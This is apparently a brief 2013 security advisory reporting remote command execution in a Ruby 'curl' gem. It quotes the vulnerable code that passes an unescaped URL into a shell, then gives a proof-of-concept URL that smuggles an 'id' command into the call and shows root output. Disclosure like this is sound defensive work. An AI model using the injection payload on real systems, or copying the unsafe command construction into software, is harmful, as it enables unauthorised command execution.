Curl Ruby Gem Remote command execution
3/12/2013

https://github.com/tg0/curl

Specially crafted URLs can result in remote code execution:

In ./lib/curl.rb the following lines:

131       cmd = "curl #{cookies_store} #{browser_type} #{@...up_params} {ref}  \"{url}\"  "
132         if @debug
133                 puts cmd.red
134         end
135         result = open_pipe(cmd)

PoC:

page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"")

larry@...erfl0w:/tmp$ cat p
uid=0(root) gid=0(root) groups=0(root)
